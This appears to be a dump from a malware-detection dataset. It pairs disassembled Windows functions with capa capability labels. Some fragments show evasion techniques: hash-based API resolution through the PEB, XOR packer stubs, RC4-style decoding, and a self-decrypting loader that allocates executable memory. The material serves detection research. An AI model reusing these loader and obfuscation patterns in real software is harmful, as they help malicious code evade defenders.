joyce8/EMBER2024-capa huggingface dataset:
Function at 0x40119b
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push 0x108
call fcn.004021d4
add esp, 4
mov dword [ebp - 4], eax
mov edi, eax
mov esi, 0x40a246
lodsd eax, dword [esi]
stosd dword es:[edi], eax
lodsd eax, dword [esi]
stosd dword es:[edi], eax
xor eax, eax
mov ecx, 0x40
rep stosd dword es:[edi], eax
push 0x108
call fcn.004021d4
add esp, 4
mov dword [ebp - 8], eax
mov edi, eax
mov esi, 0x40a246
lodsd eax, dword [esi]
stosd dword es:[edi], eax
lodsd eax, dword [esi]
stosd dword es:[edi], eax
xor eax, eax
mov ecx, 0x40
rep stosd dword es:[edi], eax
mov dword [ebp - 0xc], 0
mov ebx, dword [ebp - 4]
mov ecx, dword [ebx]
inc ecx
shl ecx, 2
add ebx, ecx
mov eax, 0
add ebx, eax
mov dword [ebp - 0x10], ebx
mov ebx, dword [ebp - 0x10]
mov byte [ebx], 0
mov ebx, dword [ebp - 8]
mov ecx, dword [ebx]
inc ecx
shl ecx, 2
add ebx, ecx
mov eax, 0
add ebx, eax
mov dword [ebp - 0x10], ebx
mov ebx, dword [ebp - 0x10]
mov byte [ebx], 0
mov eax, dword [ebp - 4]
add eax, 8
mov ecx, pe_nt_image_headers32
xor ebx, ebx
sub bl, cl
mov byte [ebx + eax], bl
loop 0x401234
push eax
mov edx, dword [ebp + 0x10]
mov edx, dword [edx]
mov edi, dword [edx + 4]
add edx, 8
mov esi, dword [ebp - 8]
add esi, 8
mov ecx, pe_nt_image_headers32
xor ebx, ebx
cmp ebx, edi
jb 0x40125c
xor ebx, ebx
mov ah, byte [ebx + edx]
mov byte [esi], ah
inc esi
inc ebx
loop 0x401256
pop edi
xor ebx, ebx
sub esi, 0x100
xor eax, eax
mov ecx, pe_nt_image_headers32
mov dl, byte [eax + esi]
add bl, dl
mov dl, byte [eax + edi]
add bl, dl
mov dl, byte [eax + edi]
mov dh, byte [ebx + edi]
mov byte [eax + edi], dh
mov byte [ebx + edi], dl
inc eax
loop 0x401275
mov esi, dword [ebp + 8]
mov esi, dword [esi]
mov ecx, dword [esi + 4]
mov dword [ebp - 0xc], ecx
add esi, 8
push dword [ebp - 0xc]
call fcn.0040134d
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0x10]
push eax
mov ebx, dword [ebp + 0xc]
mov ebx, dword [ebx]
test ebx, ebx
je 0x4012bd
push ebx
call fcn.004021c8
add esp, 4
pop eax
mov ebx, dword [ebp + 0xc]
mov dword [ebx], eax
mov ecx, dword [ebp - 0xc]
mov edx, dword [ebp + 0xc]
mov edx, dword [edx]
add edx, 8
xor eax, eax
xor ebx, ebx
push ecx
movzx ecx, al
inc cl
push edx
mov dh, byte [ecx + edi]
add bl, dh
mov dl, byte [ebx + edi]
mov byte [ecx + edi], dl
mov byte [ebx + edi], dh
add dl, dh
movzx edx, dl
mov dl, byte [edx + edi]
mov cl, byte [eax + esi]
xor cl, dl
pop edx
mov byte [eax + edx], cl
inc eax
pop ecx
loop 0x4012d2
mov eax, 0x40c00000
jmp 0x401306
push eax
mov ebx, dword [ebp - 4]
push ebx
call fcn.004021c8
add esp, 4
mov ebx, dword [ebp - 8]
push ebx
call fcn.004021c8
add esp, 4
pop eax
mov esp, ebp
pop ebp
ret 0xc
Function at 0x401a48
Capabilities:
Access peb ldr_data
Resolve function by hash

Disassembly:
push ebp
mov ebp, esp
sub esp, 4
mov dword [ebp - 4], 0
cld
xor edx, edx
mov edx, dword fs:[edx + 0x30]
mov edx, dword [edx + 0xc]
mov edx, dword [edx + 0x14]
mov esi, dword [edx + 0x28]
push 0x18
pop ecx
xor edi, edi
xor eax, eax
lodsb al, byte [esi]
cmp al, 0x61
jl 0x401a76
sub al, 0x20
ror edi, 0xd
add edi, eax
loop 0x401a6d
cmp edi, 0x6a4abc5b
mov ebx, dword [edx + 0x10]
mov edx, dword [edx]
jne 0x401a65
mov eax, ebx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
jmp 0x401a97
mov esp, ebp
pop ebp
ret

Function at 0x401a9b
Capabilities:
Hash data with crc32

Disassembly:
push ebp
mov ebp, esp
sub esp, 4
mov dword [ebp - 4], 0
add esp, 0xffffffec
push esi
push ebx
push edi
push edx
push ecx
mov eax, dword [ebp + 0x10]
xor edx, edx
xchg edx, eax
mov esi, 0x3c
add esi, dword [ebp + 0xc]
mov eax, dword [esi]
add eax, dword [ebp + 0xc]
mov esi, dword [eax + 0x78]
add esi, 0x18
add esi, dword [ebp + 0xc]
mov eax, dword [esi]
mov dword [ebp - 0x14], eax
add esi, 4
lea edi, [ebp - 8]
lodsd eax, dword [esi]
add eax, dword [ebp + 0xc]
stosd dword es:[edi], eax
mov dword [ebp - 8], eax
lodsd eax, dword [esi]
add eax, dword [ebp + 0xc]
push eax
stosd dword es:[edi], eax
mov dword [ebp - 0xc], eax
mov eax, dword [esi]
add eax, dword [ebp + 0xc]
mov dword [ebp - 0x10], eax
pop esi
mov dword [ebp - 4], 0
push esi
mov eax, dword [esi]
add eax, dword [ebp + 0xc]
xchg edi, eax
mov ebx, edi
push edi
xor al, al
scasb al, byte es:[edi]
jne 0x401b07
pop esi
sub edi, ebx
push edx
cld
xor ecx, ecx
dec ecx
mov edx, ecx
xor eax, eax
xor ebx, ebx
lodsb al, byte [esi]
xor al, cl
mov cl, ch
mov ch, dl
mov dl, dh
mov dh, 8
shr bx, 1
rcr ax, 1
jae 0x401b34
xor ax, 0x8320
xor bx, 0xedb8
dec dh
jne 0x401b23
xor ecx, eax
xor edx, ebx
dec edi
jne 0x401b14
not edx
not ecx
mov eax, edx
rol eax, 0x10
mov ax, cx
pop edx
cmp edx, eax
je 0x401b5a
pop esi
add esi, 4
add dword [ebp - 4], 1
jmp 0x401afb
pop esi
mov eax, dword [ebp - 4]
shl eax, 1
add eax, dword [ebp - 0x10]
xor esi, esi
xchg esi, eax
mov ax, word [esi]
shl ax, 2
add eax, dword [ebp - 8]
xchg esi, eax
mov eax, dword [esi]
add eax, dword [ebp + 0xc]
pop ecx
pop edx
pop edi
pop ebx
pop esi
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
jmp 0x401b86
mov esp, ebp
pop ebp
ret 0xc

Function at 0x4024e0
Capabilities:
Get file size
Read file on windows

Disassembly:
mov eax, dword [esp + 8]
push edi
push 0
push 0x20
push 3
push 0
push 3
push 0x80000000
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov edi, eax
xor eax, eax
cmp edi, 0xffffffff
je 0x402549
push ebx
lea ecx, [esp + 0x10]
push esi
push ecx
push edi
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov ebx, eax
lea edx, [ebx + 8]
push edx
call fcn.004023c0
add esp, 4
mov esi, eax
lea eax, [esp + 0x14]
push 0
push eax
lea ecx, [esi + 8]
push ebx
push ecx
push edi
mov dword [esi], 1
mov dword [esi + 4], ebx
call dword [sym.imp.KERNEL32.dll_ReadFile]
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, esi
pop esi
pop ebx
pop edi
ret
Function at 0x402599
Capabilities:
Accept command line arguments
Parse pe header
Terminate process

Disassembly:
push 0x60
push 0x408110
call fcn.0040365c
mov edi, 0x94
mov eax, edi
call fcn.004037c0
mov dword [ebp - 0x18], esp
mov esi, esp
mov dword [esi], edi
push esi
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
mov ecx, dword [esi + 0x10]
mov dword [0x40ae24], ecx
mov eax, dword [esi + 4]
mov dword [0x40ae30], eax
mov edx, dword [esi + 8]
mov dword [0x40ae34], edx
mov esi, dword [esi + 0xc]
and esi, 0x7fff
mov dword [0x40ae28], esi
cmp ecx, 2
je 0x4025f9
or esi, 0x8000
mov dword [0x40ae28], esi
shl eax, 8
add eax, edx
mov dword [0x40ae2c], eax
xor esi, esi
push esi
mov edi, dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call edi
cmp word [eax], 0x5a4d
jne 0x402634
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x402634
movzx eax, word [ecx + 0x18]
cmp eax, 0x10b
je 0x40264c
cmp eax, 0x20b
je 0x402639
mov dword [ebp - 0x1c], esi
jmp 0x402660
cmp dword [ecx + 0x84], 0xe
jbe 0x402634
xor eax, eax
cmp dword [ecx + 0xf8], esi
jmp 0x40265a
cmp dword [ecx + 0x74], 0xe
jbe 0x402634
xor eax, eax
cmp dword [ecx + 0xe8], esi
setne al
mov dword [ebp - 0x1c], eax
push 1
call fcn.0040360a
pop ecx
test eax, eax
jne 0x402674
push 0x1c
call fcn.00402575
pop ecx
call fcn.00403501
test eax, eax
jne 0x402685
push 0x10
call fcn.00402575
pop ecx
call fcn.0040329b
mov dword [ebp - 4], esi
call fcn.0040309d
test eax, eax
jge 0x40269e
push 0x1b
call fcn.00402550
pop ecx
call dword [sym.imp.KERNEL32.dll_GetCommandLineA]
mov dword [0x40b634], eax
call fcn.00402f7b
mov dword [0x40ae14], eax
call fcn.00402ed9
test eax, eax
jge 0x4026c4
push 8
call fcn.00402550
pop ecx
call fcn.00402ca6
test eax, eax
jge 0x4026d5
push 9
call fcn.00402550
pop ecx
push 1
call fcn.004027c8
pop ecx
mov dword [ebp - 0x28], eax
cmp eax, esi
je 0x4026eb
push eax
call fcn.00402550
pop ecx
mov dword [ebp - 0x44], esi
lea eax, [ebp - 0x70]
push eax
call dword [sym.imp.KERNEL32.dll_GetStartupInfoA]
call fcn.00402c49
mov dword [ebp - 0x20], eax
test byte [ebp - 0x44], 1
je 0x40270c
movzx eax, word [ebp - 0x40]
jmp 0x40270f
push 0xa
pop eax
push eax
push dword [ebp - 0x20]
push esi
push esi
call edi
push eax
call fcn.00401000
mov edi, eax
mov dword [ebp - 0x2c], edi
cmp dword [ebp - 0x1c], esi
jne 0x40272d
push edi
call fcn.004028f5
call fcn.00402917
jmp 0x40275f
or dword [ebp - 4], 0xffffffff
mov eax, edi
lea esp, [ebp - 0x7c]
call fcn.00403697
ret
Function at 0x402832
Capabilities:
Terminate process

Disassembly:
push 8
push 0x408138
call fcn.0040365c
push 8
call fcn.00403950
pop ecx
xor edi, edi
mov dword [ebp - 4], edi
xor esi, esi
inc esi
cmp dword [0x40ae64], esi
jne 0x402866
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
mov dword [0x40ae60], esi
mov al, byte [ebp + 0x10]
mov byte [0x40ae5c], al
cmp dword [ebp + 0xc], edi
jne 0x4028b0
cmp dword [0x40b628], edi
je 0x4028a0
mov eax, dword [0x40b624]
sub eax, 4
mov dword [0x40b624], eax
cmp eax, dword [0x40b628]
jb 0x4028a0
mov eax, dword [eax]
cmp eax, edi
je 0x402881
call eax
jmp 0x402881
push 0x40a020
mov eax, 0x40a01c
call fcn.004027b0
pop ecx
push 0x40a028
mov eax, 0x40a024
call fcn.004027b0
pop ecx
or dword [ebp - 4], 0xffffffff
call 0x4028e1
cmp dword [ebp + 0x10], edi
jne 0x4028ef
mov dword [0x40ae64], esi
push dword [ebp + 8]
call fcn.0040276e
xor edi, edi
xor esi, esi
inc esi
cmp dword [ebp + 0x10], edi
je 0x4028ee
push 8
call fcn.0040389b
pop ecx
ret
call fcn.00403697
ret

Function at 0x402935
Capabilities:
Write file on windows

Disassembly:
push ebp
lea ebp, [esp - 0x8c]
sub esp, 0x10c
mov eax, dword [0x40a780]
mov ecx, dword [ebp + 0x94]
push ebx
push esi
mov dword [ebp + 0x88], eax
xor edx, edx
push edi
xor eax, eax
cmp ecx, dword [eax*8 + 0x40a508]
je 0x40296a
inc eax
cmp eax, 0x13
jb 0x40295b
mov esi, eax
shl esi, 3
cmp ecx, dword [esi + 0x40a508]
jne 0x402a90
mov eax, dword [0x40ae1c]
cmp eax, 1
je 0x402a68
cmp eax, edx
jne 0x40299a
cmp dword [0x40a504], 1
je 0x402a68
cmp ecx, 0xfc
je 0x402a90
push 0x104
lea eax, [ebp - 0x80]
push eax
push edx
mov byte [ebp + 0x84], dl
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
jne 0x4029d0
lea eax, [ebp - 0x80]
push str._program_name_unknown_
push eax
call fcn.00403b70
pop ecx
pop ecx
lea edi, [ebp - 0x80]
mov eax, edi
push eax
call fcn.00403da0
inc eax
cmp eax, 0x3c
pop ecx
jbe 0x402a04
mov eax, edi
push eax
call fcn.00403da0
mov edi, eax
lea eax, [ebp - 0x80]
sub eax, 0x3b
push 3
add edi, eax
push 0x408530
push edi
call fcn.00403c70
add esp, 0x10
push edi
call fcn.00403da0
push dword [esi + 0x40a50c]
mov ebx, eax
call fcn.00403da0
lea eax, [ebx + eax + 0x1c]
pop ecx
add eax, 3
pop ecx
and eax, 0xfffffffc
call fcn.004037c0
mov ebx, esp
push str.Runtime_Error__n_nProgram:
push ebx
call fcn.00403b70
push edi
push ebx
call fcn.00403b80
push 0x408510
push ebx
call fcn.00403b80
push dword [esi + 0x40a50c]
push ebx
call fcn.00403b80
push 0x12010
push str.Microsoft_Visual_C_Runtime_Library
push ebx
call fcn.00403a73
add esp, 0x2c
jmp 0x402a90
push edx
lea eax, [ebp + 0x94]
push eax
lea esi, [esi + 0x40a50c]
push dword [esi]
call fcn.00403da0
pop ecx
push eax
push dword [esi]
push 0xfffffffffffffff4
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
lea esp, [ebp - 0x8c]
mov ecx, dword [ebp + 0x88]
call fcn.00403e5c
pop edi
pop esi
pop ebx
add ebp, 0x8c
leave
ret
Function at 0x403a73
Capabilities:
Link many functions at runtime

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push ebx
xor ebx, ebx
cmp dword [0x40b0e0], ebx
push esi
push edi
jne 0x403af3
push str.user32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
cmp edi, ebx
je 0x403b2e
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x40863c
push edi
call esi
test eax, eax
mov dword [0x40b0e0], eax
je 0x403b2e
push str.GetActiveWindow
push edi
call esi
push str.GetLastActivePopup
push edi
mov dword [0x40b0e4], eax
call esi
cmp dword [0x40ae24], 2
mov dword [0x40b0e8], eax
jne 0x403af3
push str.GetUserObjectInformationA
push edi
call esi
test eax, eax
mov dword [0x40b0f0], eax
je 0x403af3
push str.GetProcessWindowStation
push edi
call esi
mov dword [0x40b0ec], eax
mov eax, dword [0x40b0ec]
test eax, eax
je 0x403b38
call eax
test eax, eax
je 0x403b1f
lea ecx, [ebp - 4]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call dword [0x40b0f0]
test eax, eax
je 0x403b1f
test byte [ebp - 8], 1
jne 0x403b38
cmp dword [0x40ae30], 4
jb 0x403b32
or byte [ebp + 0x12], 0x20
jmp 0x403b57
xor eax, eax
jmp 0x403b67
or byte [ebp + 0x12], 4
jmp 0x403b57
mov eax, dword [0x40b0e4]
test eax, eax
je 0x403b57
call eax
mov ebx, eax
test ebx, ebx
je 0x403b57
mov eax, dword [0x40b0e8]
test eax, eax
je 0x403b57
push ebx
call eax
mov ebx, eax
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push ebx
call dword [0x40b0e0]
pop edi
pop esi
pop ebx
leave
ret
Function at 0x405732
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
push ebx
push esi
mov esi, dword [ebp + 8]
mov ebx, dword [esi + 8]
test bl, 3
jne 0x405760
mov eax, dword fs:[0x18]
mov dword [ebp + 8], eax
mov eax, dword [ebp + 8]
mov ecx, dword [eax + 8]
cmp ebx, ecx
mov dword [ebp - 4], ecx
jb 0x405767
cmp ebx, dword [eax + 4]
jae 0x405767
xor eax, eax
jmp 0x405957
push edi
mov edi, dword [esi + 0xc]
cmp edi, 0xffffffff
jne 0x405778
xor eax, eax
inc eax
jmp 0x405956
xor edx, edx
mov dword [ebp + 8], edx
mov eax, ebx
mov ecx, dword [eax]
cmp ecx, 0xffffffff
je 0x40578e
cmp ecx, edx
jae 0x4058d3
cmp dword [eax + 4], 0
je 0x405797
inc dword [ebp + 8]
inc edx
add eax, 0xc
cmp edx, edi
jbe 0x40577f
cmp dword [ebp + 8], 0
je 0x4057b9
mov eax, dword [esi - 8]
cmp eax, dword [ebp - 4]
jb 0x4058d3
cmp eax, esi
jae 0x4058d3
mov eax, dword [0x40b108]
mov edi, ebx
and edi, 0xfffff000
xor esi, esi
test eax, eax
jle 0x4057de
cmp dword [esi*4 + 0x40b110], edi
je 0x4058d7
inc esi
cmp esi, eax
jl 0x4057cc
push 0x1c
lea eax, [ebp - 0x20]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_VirtualQuery]
test eax, eax
je 0x405953
cmp dword [ebp - 8], 0x1000000
jne 0x405953
test byte [ebp - 0xc], 0xcc
je 0x40585c
mov ecx, dword [ebp - 0x1c]
cmp word [ecx], 0x5a4d
jne 0x405953
mov eax, dword [ecx + 0x3c]
add eax, ecx
cmp dword [eax], 0x4550
jne 0x405953
cmp word [eax + 0x18], 0x10b
jne 0x405953
sub ebx, ecx
cmp word [eax + 6], 0
movzx ecx, word [eax + 0x14]
lea ecx, [ecx + eax + 0x18]
jbe 0x405953
mov eax, dword [ecx + 0xc]
cmp ebx, eax
jb 0x40585c
mov edx, dword [ecx + 8]
add edx, eax
cmp ebx, edx
jae 0x40585c
test byte [ecx + 0x27], 0x80
jne 0x4058d3
push 1
push 0x40b150
call dword [sym.imp.KERNEL32.dll_InterlockedExchange]
test eax, eax
jne 0x405770
mov ecx, dword [0x40b108]
test ecx, ecx
mov edx, ecx
jle 0x405890
lea eax, [ecx*4 + 0x40b10c]
cmp dword [eax], edi
je 0x405890
dec edx
sub eax, 4
test edx, edx
jg 0x405884
test edx, edx
jne 0x4058c1
push 0xf
pop ebx
cmp ecx, ebx
jg 0x40589d
mov ebx, ecx
xor edx, edx
test ebx, ebx
jl 0x4058b5
lea eax, [edx*4 + 0x40b110]
mov esi, dword [eax]
inc edx
cmp edx, ebx
mov dword [eax], edi
mov edi, esi
jle 0x4058a3
cmp ecx, 0x10
jge 0x4058c1
inc ecx
mov dword [0x40b108], ecx
push 0
push 0x40b150
call dword [sym.imp.KERNEL32.dll_InterlockedExchange]
jmp 0x405770
xor eax, eax
jmp 0x405956
test esi, esi
jle 0x405770
mov ebx, dword [sym.imp.KERNEL32.dll_InterlockedExchange]
push 1
push 0x40b150
call ebx
test eax, eax
jne 0x405770
cmp dword [esi*4 + 0x40b110], edi
je 0x40592d
mov eax, dword [0x40b108]
lea esi, [eax - 1]
test esi, esi
jl 0x40591b
cmp dword [esi*4 + 0x40b110], edi
je 0x405917
dec esi
jns 0x40590b
test esi, esi
jge 0x40592b
cmp eax, 0x10
jge 0x405926
inc eax
mov dword [0x40b108], eax
lea esi, [eax - 1]
jmp 0x40592d
je 0x405945
xor ecx, ecx
test esi, esi
jl 0x405945
lea eax, [ecx*4 + 0x40b110]
mov edx, dword [eax]
inc ecx
cmp ecx, esi
mov dword [eax], edi
mov edi, edx
jle 0x405933
push 0
push 0x40b150
call ebx
jmp 0x405770
or eax, 0xffffffff
pop edi
pop esi
pop ebx
leave
ret
Function at 0x406d69
Capabilities:
Get system information on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x4c
push ebx
push esi
push edi
push 4
pop eax
call fcn.004037c0
mov esi, esp
push 0x1c
lea eax, [ebp - 0x28]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_VirtualQuery]
test eax, eax
je 0x406e04
mov ebx, dword [ebp - 0x24]
lea eax, [ebp - 0x4c]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov ecx, dword [ebp - 0x48]
mov eax, dword [0x40ae24]
lea edi, [ecx - 1]
not edi
and edi, esi
sub edi, ecx
mov esi, eax
dec esi
neg esi
sbb esi, esi
and esi, 0xfffffff1
add esi, 0x11
imul esi, ecx
add esi, ebx
cmp edi, esi
mov dword [ebp - 8], ecx
jb 0x406e04
cmp eax, 1
je 0x406e25
mov dword [ebp - 4], ebx
mov ebx, 0x1000
push 0x1c
lea eax, [ebp - 0x28]
push eax
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_VirtualQuery]
test eax, eax
je 0x406e04
mov eax, dword [ebp - 0x1c]
add dword [ebp - 4], eax
test dword [ebp - 0x18], ebx
je 0x406dd1
test byte [ebp - 0x13], 1
mov eax, dword [ebp - 0x28]
mov dword [ebp - 4], eax
je 0x406e00
xor eax, eax
inc eax
jmp 0x406e44
cmp edi, eax
jae 0x406e08
xor eax, eax
jmp 0x406e44
cmp eax, esi
jae 0x406e0f
mov dword [ebp - 4], esi
push 4
push ebx
push dword [ebp - 8]
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov eax, dword [0x40ae24]
jmp 0x406e28
mov dword [ebp - 4], edi
dec eax
neg eax
sbb eax, eax
and eax, 0x103
lea ecx, [ebp - 0xc]
push ecx
inc eax
push eax
push dword [ebp - 8]
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
lea esp, [ebp - 0x58]
pop edi
pop esi
pop ebx
leave
ret
Function at 0x401c57
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
pushal
call 0x401c66
pop dword [ebp - 0xc]
mov eax, 0x401c66
sub dword [ebp - 0xc], eax
mov dword [ebp - 0x1c], 0xc54cbe98
add dword [ebp - 0x1c], 0x890586b3
mov dword [ebp - 0x18], 0x418daa33
add dword [ebp - 0x18], 0xf0a5a212
mov dword [ebp - 0x14], 0x8bdbec25
sub dword [ebp - 0x14], 0x3f8fa7f7
mov dword [ebp - 0x10], 0x5efa5bad
add dword [ebp - 0x10], 0xa105a453
lea eax, [ebp - 0x1c]
push eax
mov eax, 0x4129d4a2
sub eax, 0x40e9a44e
add eax, dword [ebp - 0xc]
call dword [eax]
mov dword [ebp - 0x1c], 0x2c55e66b
add dword [ebp - 0x1c], 0x481c82eb
mov dword [ebp - 0x18], 0xc89d4939
sub dword [ebp - 0x18], 0x8730e7c4
mov dword [ebp - 0x14], 0x39db85db
sub dword [ebp - 0x14], 0xd66c196f
mov dword [ebp - 0x10], 0x268531b5
sub dword [ebp - 0x10], 0x268531b5
lea ebx, [ebp - 0x1c]
push ebx
push eax
mov eax, 0x5923b86c
sub eax, 0x58e38840
add eax, dword [ebp - 0xc]
call dword [eax]
push 0x40
push 0x1000
push 0x32756
push 0
call eax
mov ecx, 0x89cb6e83
add ecx, 0x7634c966
mov ebx, eax
mov esi, 0x86c6fa50
sub esi, 0x86868a50
add esi, dword [ebp - 0xc]
mov edx, 0x70390a1f
mov edi, dword [esi]
xor dword [ebp - 4], edi
add edi, edx
xor dword [ebp - 8], ebx
mov dword [ebx], edi
add dword [ebp - 8], ebx
add ebx, 0xcf678530
sub ebx, 0xcf67852c
add esi, 0xf05a8944
sub esi, 0xf05a8940
loop 0x401d7d
add eax, 0xf1876e5a
sub eax, 0xf1869be3
mov ebx, eax
add eax, 5
mov ecx, 0x400000
add ecx, dword [ebp - 0xc]
call ebx
leave
ret

Function at 0x401fb2
Capabilities:
Delete file
Move file

Disassembly:
mov ecx, 0x404f28
jmp fcn.0040170c

Function at 0x401ff6
Capabilities:
Check if file exists
Delete directory
Get file attributes

Disassembly:
push esi
mov esi, 0x404f28
push esi
call dword [sym.imp.kernel32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x402013
push esi
call dword [sym.imp.kernel32.dll_RemoveDirectoryW]
test eax, eax
je 0x402018
push 1
pop eax
pop esi
ret
call fcn.00401fb2
pop esi
ret

Function at 0x430000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
mov eax, section..text
nop
mov ebx, 0x408f6c
nop
nop
mov ecx, 0x1b27528a
nop
nop
nop
test eax, eax
nop
je 0x43004e
nop
nop
nop
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
inc eax
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
inc eax
cmp eax, ebx
nop
nop
nop
nop
nop
jne 0x430024
nop
nop
nop
nop
mov eax, section..data
nop
mov ebx, 0x42e3d0
nop
mov ecx, 0x210a53f5
nop
nop
test eax, eax
nop
nop
nop
nop
je 0x430084
nop
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
add eax, 4
nop
cmp eax, ebx
nop
nop
nop
nop
nop
nop
jne 0x43006c
nop
nop
nop
nop
nop
popal
nop
nop
jmp 0x401219
Function at 0x431000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
mov eax, section..text
nop
mov ebx, 0x40915c
nop
mov ecx, 0x8495e4a
nop
nop
nop
test eax, eax
nop
nop
nop
nop
nop
nop
je 0x43104e
xor dword [eax], ecx
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
cmp eax, ebx
nop
jne 0x431024
nop
nop
nop
nop
mov eax, section..data
nop
mov ebx, 0x42f3f8
nop
nop
mov ecx, 0x691f4bf7
nop
nop
nop
nop
test eax, eax
nop
nop
nop
nop
je 0x431084
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
nop
add eax, 4
nop
nop
nop
cmp eax, ebx
nop
nop
jne 0x43106c
nop
nop
nop
nop
nop
nop
nop
nop
popal
jmp 0x401219
Function at 0x42c9a0
Capabilities:
Get system information on windows

Disassembly:
push ebp
mov ebp, esp
push esi
and esp, 0xfffffff0
sub esp, 0x40
mov eax, dword [0x48912c]
xor eax, ebp
mov dword [esp + 0x30], eax
mov eax, dword [0x48b90c]
mov ecx, dword [0x48b650]
mov edx, dword fs:[0x2c]
mov ecx, dword [edx + ecx*4]
cmp eax, dword [ecx + 4]
jg 0x42ca14
movzx eax, word [0x48b8e8]
cmp eax, 0xc
ja case.0x42c9e0.1
xor esi, esi
jmp dword [eax*4 + 0x475b7c]
mov esi, 2
jmp case.0x42c9e0.0
mov esi, 4
jmp case.0x42c9e0.0
mov esi, 1
jmp case.0x42c9e0.0
mov esi, 3
mov ecx, dword [esp + 0x30]
xor ecx, ebp
call fcn.0044d0e1
mov eax, esi
lea esp, [ebp - 4]
pop esi
pop ebp
ret
push 0x48b90c
call fcn.0044d127
add esp, 4
cmp dword [0x48b90c], 0xffffffff
jne 0x42c9d2
xorps xmm0, xmm0
movaps xmmword [esp + 0x10], xmm0
movaps xmmword [esp], xmm0
mov dword [esp + 0x20], 0
mov eax, esp
push eax
call dword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
mov eax, dword [esp + 0x20]
mov dword [0x48b908], eax
movaps xmm0, xmmword [esp]
movaps xmm1, xmmword [esp + 0x10]
movups xmmword [0x48b8f8], xmm1
movups xmmword [0x48b8e8], xmm0
push 0x48b90c
call fcn.0044d19d
add esp, 4
jmp 0x42c9d2

Function at 0x42d320
Capabilities:
Check if file exists

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
mov esi, ecx
mov edi, dword [ebp + 8]
cmp dword [ecx + 8], 0
je 0x42d337
mov eax, dword [esi]
mov ecx, eax
jmp 0x42d35c
mov eax, dword [esi]
test eax, eax
je 0x42d341
mov ecx, eax
jmp 0x42d35c
cmp dword [esi + 0xc], 0
je 0x42d34d
mov ecx, eax
xor eax, eax
jmp 0x42d35c
mov ecx, eax
xor eax, eax
cmp dword [esi + 4], 0
mov edx, 0
je 0x42d3b3
add ecx, 1
cmp ecx, 2
jb 0x42d37b
call fcn.0042c350
push dword [esi]
call fcn.0042d570
add esp, 4
mov dword [esi], 0
xor eax, eax
mov ecx, dword [esi + 4]
lea edx, [ecx + 1]
cmp edx, 2
jb 0x42d3a1
call fcn.0042c350
push dword [esi + 4]
call fcn.0042d570
add esp, 4
mov dword [esi + 4], 0
mov eax, dword [esi]
xor ecx, ecx
mov edx, eax
mov dword [esi + 8], 0
mov dword [esi + 0xc], 0
mov eax, ecx
mov ebx, dword [edi]
cmp edx, ebx
je 0x42d3fc
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov edi, eax
mov eax, dword [esi]
add eax, 1
cmp eax, 2
jb 0x42d3e0
call fcn.0042c350
push dword [esi]
call fcn.0042d570
add esp, 4
mov dword [esi], 0
lea eax, [ebx + 1]
cmp eax, 2
jb 0x42d3ef
mov dword [esi], ebx
call fcn.0042c350
push edi
call dword [sym.imp.KERNEL32.dll_SetLastError]
mov eax, dword [esi + 4]
mov edi, dword [ebp + 8]
mov ebx, dword [edi + 4]
cmp eax, ebx
je 0x42d447
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov edi, eax
mov eax, dword [esi + 4]
add eax, 1
cmp eax, 2
jb 0x42d42d
call fcn.0042c350
push dword [esi + 4]
call fcn.0042d570
add esp, 4
mov dword [esi + 4], 0
lea eax, [ebx + 1]
cmp eax, 2
jb 0x42d43d
mov dword [esi + 4], ebx
call fcn.0042c350
push edi
call dword [sym.imp.KERNEL32.dll_SetLastError]
mov edi, dword [ebp + 8]
mov eax, dword [edi + 8]
mov dword [esi + 8], eax
mov eax, dword [edi + 0xc]
mov dword [esi + 0xc], eax
pop esi
pop edi
pop ebx
pop ebp
ret 4